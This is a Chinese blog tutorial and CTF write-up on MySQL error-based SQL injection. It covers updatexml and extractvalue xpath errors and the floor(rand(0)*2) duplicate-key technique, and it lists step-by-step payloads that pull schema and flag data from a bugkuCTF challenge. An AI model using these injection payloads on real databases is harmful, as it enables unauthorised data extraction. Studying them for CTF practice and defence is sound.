mysql报错注入原理,MySQL报错注入

什么是报错注入

SQL报错注入就是利用数据库的某些机制,人为地制造错误条件,使得查询结果可以出现在错误信息中。我一位好友的博客写过一个SQL注入的专栏,除了报错注入以外,别的类型也写了,而且比较详细,我个人比较推荐阅读。

数据溢出报错

在某些版本中,可以通过exp函数的特性结合整数溢出的报错进行注入,比如这样select (select(!x-~0)from(select(select user())x)a);但是当MySQL版本>5.5.53,就不能返回查询结果了,所以这里我并不去深究它。

xpath语法错误

利用xpath语法错误的注入用的是extractvalue和updatexml这两个函数。extractvalue负责在xml文档中按照xpath语法查询节点内容,updatexml则负责修改查询到的内容;

UPDATEXML (XML_document, XPath_string, new_value);

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc

第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。

第三个参数:new_value,String格式,替换查找到的符合条件的数据

作用:改变文档中符合条件的节点的值

改变XML_document中符合XPATH_string的值

注入原理:这两个函数的第二个参数都要求是符合xpath语法的字符串,如果不满足要求,则会报错,并且将查询结果放在报错信息里。例子:

1538901102823.png至于extractvalue,也差不多

1538902406502.pngbugkuCTF有一道题可以用报错注入,题目链接http://120.24.86.145:9001/sql/index.php

1538920549864.png一开始尝试了各种方法都没有一点反应,后面才发现,与绝大多数题目不同,这题闭合引号用的是双引号,后台估计是这种形式'SELECT name,code from users where name="'.$name.'"'。直接输入一个",发现报错

1538920602812.png既然有报错信息,那就直接上报错注入吧。构造payload" or updatexml(1,concat(0x7e,(select mid(group_concat(0x7c,schema_name,0x7c),20,30)from information_schema.schemata),0x7e),1)#拿到数据库名

1538920781404.png然后" or updatexml(1,concat(0x7e,(select mid(group_concat(0x7c,table_name,0x7c),1,30)from information_schema.tables where table_schema="bugkusql1"),0x7e),1)#注出表名

1538920870732.png" or updatexml(1,concat(0x7e,(select mid(group_concat(0x7c,column_name,0x7c),1,30)from information_schema.columns where table_name="flag1"),0x7e),1)#注出列名

a4fb7ba8e85bf74cd645ccc0b7ced7c8.png最后" or updatexml(1,concat(0x7e,(select flag1 from flag1),0x7e),1)#getFlag

5469832fa27179ad047038f3f87627e0.png

主键重复

主键重复是原理最复杂的一种报错注入,先给个payload:select count(*) from test group by concat(version(),floor(rand(0)*2));效果:

1538907315570.png下面我们来分析一下原理,首先要知道MySQL的group by是怎样工作的,可以看这篇文章这种报错方法的本质是因为floor(rand(0)*2)的重复性,导致group by语句出错,我们来看看floor(rand(0)*2):

1538907603852.png由于给定了随机数种子,所以每次产生的随机数序列是一样的,再通过floor,就会生成固定的01序列。然后,当我们执行select count(*) from test group by name这句命令时,会建立一个虚拟表,一列是key,一列就是count(*),其中key是主键,不能重复。接下来的事情,这篇文章说得实在是详细。。我就不写了

配置用户时遇到的一些问题

因为要做SQL注入的题目,配置低权限用户很重要,一开始按照这个来设置的

1538895222488.png建立了一个只能select的hack用户之后,不能登录root了

1538895142860.png解决方法:

1538895109602.png

select load_file与select into outfile时遇到的一些问题

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值